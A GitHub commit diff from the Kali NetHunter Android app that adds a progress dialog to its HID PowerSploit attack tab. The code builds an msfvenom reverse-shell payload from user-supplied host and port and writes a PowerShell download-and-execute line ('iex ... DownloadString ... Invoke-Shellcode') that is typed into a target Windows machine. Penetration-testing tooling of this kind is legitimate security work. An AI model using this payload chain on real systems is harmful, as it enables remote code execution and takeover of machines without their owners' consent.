Skip to content
This repository has been archived by the owner on Apr 25, 2019. It is now read-only.

Commit

Permalink
Add progress dialogue; fix IP block to allow only#
Browse files Browse the repository at this point in the history
#114

* Created progress dialogue when generating shellcode
* Will display error if shellcode doesn't generate
* Fixed layout IP bar to only take numbers and periods

Signed-off-by: binkybear <[email protected]>
  • Loading branch information
binkybear committed Jan 21, 2016
1 parent 0a2fef6 commit 165ff02
Show file tree
Hide file tree
Showing 2 changed files with 52 additions and 36 deletions.
3 changes: 2 additions & 1 deletion res/layout/hid_powersploit.xml
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,8 @@
android:layout_width="334dp"
android:layout_height="wrap_content"
android:ems="10"
android:digits="0123456789." />
android:digits="0123456789."
android:inputType="number"/>
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
Expand Down
85 changes: 50 additions & 35 deletions src/com/offsec/nethunter/HidFragment.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
import android.app.Activity;
import android.app.AlertDialog;
import android.app.FragmentTransaction;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
Expand Down Expand Up @@ -48,10 +49,10 @@ public class HidFragment extends Fragment implements ActionBar.TabListener {
static NhPaths nh;
final CharSequence[] platforms = {"No UAC Bypass", "Windows 7", "Windows 8", "Windows 10"};
final CharSequence[] languages = {"American English", "Belgian", "British English", "Danish", "French", "German", "Italian", "Norwegian", "Portugese", "Russian", "Spanish", "Swedish"};
private String configFilePath;
String VenomOutput;
String msfvenom;
String msfvenomOut;
EditText newPayloadUrl;
Boolean isUrlpathSaved;
private static final String TAG = "HidFragment";


Expand Down Expand Up @@ -338,7 +339,6 @@ public CharSequence getPageTitle(int position) {
public static class PowerSploitFragment extends HidFragment implements OnClickListener {

private String configFileUrlPath = nh.CHROOT_PATH + "/var/www/html/powersploit-url";
private String configFileVenom = nh.CHROOT_PATH + "/var/www/html/powersploit-venom";

@Override
public void onActivityCreated(Bundle savedInstanceState) {
Expand All @@ -360,33 +360,66 @@ public void onClick(View v) {
if(getView() == null){
return;
}
ShellExecuter exe = new ShellExecuter();
isUrlpathSaved = false;
EditText ip = (EditText) getView().findViewById(R.id.ipaddress);
EditText port = (EditText) getView().findViewById(R.id.port);

Spinner payload = (Spinner) getView().findViewById(R.id.payload);
String payloadValue = payload.getSelectedItem().toString();

EditText newPayloadUrl = (EditText) getView().getRootView().findViewById(R.id.payloadUrl);
newPayloadUrl = (EditText) getView().getRootView().findViewById(R.id.payloadUrl);
msfvenom = "msfvenom -p " + payloadValue + " LHOST=" + ip.getText() + " LPORT=" + port.getText() + " -f powershell EXITFUNC=thread --platform windows -o /tmp/pwrshell_string";

getMSFvenomOut mytask = new getMSFvenomOut();
try {
mytask.execute().get();
} catch (InterruptedException | ExecutionException e) {
e.printStackTrace();
}
AsyncTask<Void, Void, Void> task = new AsyncTask<Void, Void, Void>() {

Log.d(TAG, "MSFVENOMOUT: " + msfvenomOut);
ProgressDialog pDialog;

String newString = "Invoke-Shellcode -Force -Shellcode " + msfvenomOut;
String newText = "iex (New-Object Net.WebClient).DownloadString(\"" + newPayloadUrl.getText() + "\"); " + newString;
@Override
protected void onPreExecute(){
pDialog = new ProgressDialog(getActivity());
pDialog.setMessage("Generating shellcode...");
pDialog.show();
pDialog.setCancelable(false);
super.onPreExecute();
}

Boolean isUrlpathSaved = exe.SaveFileContents(newText, configFileUrlPath);
@Override
protected Void doInBackground(Void... params) {
ShellExecuter exe = new ShellExecuter();
String removecommand = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd \"rm -f /tmp/pwrshell_string >/dev/null\"'";
String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd \"" + msfvenom + "\"'";
String command2 = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd python /sdcard/nh_files/modules/powerball.py'";
Log.d(TAG, command);
exe.RunAsRootOutput(removecommand);
exe.RunAsRootOutput(command);
msfvenomOut = exe.RunAsRootOutput(command2);
msfvenomOut = msfvenomOut.substring(7);

return null;
}

if (!isUrlpathSaved){
nh.showMessage("Source not updated (configFileUrlPath)");
@Override
protected void onPostExecute(Void result) {
Log.d(TAG, "MSFVENOMOUT: " + msfvenomOut);

if(msfvenomOut.matches("(.*)Error opening file(.*)")){
nh.showMessage("Problems with shellcode output!");
} else {
ShellExecuter exe = new ShellExecuter();
String newString = "Invoke-Shellcode -Force -Shellcode " + msfvenomOut;
String newText = "iex (New-Object Net.WebClient).DownloadString(\"" + newPayloadUrl.getText() + "\"); " + newString;
isUrlpathSaved = exe.SaveFileContents(newText, configFileUrlPath);
if (!isUrlpathSaved){
nh.showMessage("Source not updated (configFileUrlPath)");
}
}
super.onPostExecute(result);
if (pDialog != null) {
pDialog.dismiss();
}
}
};
task.execute((Void[])null);
break;
default:
nh.showMessage("Unknown click");
Expand All @@ -395,24 +428,6 @@ public void onClick(View v) {
}
}

public class getMSFvenomOut extends AsyncTask<Void, Void, String> {
protected String doInBackground(Void... params) {
ShellExecuter exe = new ShellExecuter();
String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd \"" + msfvenom + "\"'";
String command2 = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd python /sdcard/nh_files/modules/powerball.py'";
Log.d(TAG, command);
try {
exe.RunAsRootOutput(command);
msfvenomOut = exe.RunAsRootOutput(command2);
msfvenomOut = msfvenomOut.substring(7);

} catch (Exception e) {
Log.d(TAG, String.valueOf(e));
};
return null;
}
}

public static class WindowsCmdFragment extends HidFragment implements OnClickListener {

private String configFilePath = nh.APP_SD_FILES_PATH + "/configs/hid-cmd.conf";
Expand Down

0 comments on commit 165ff02

Please sign in to comment.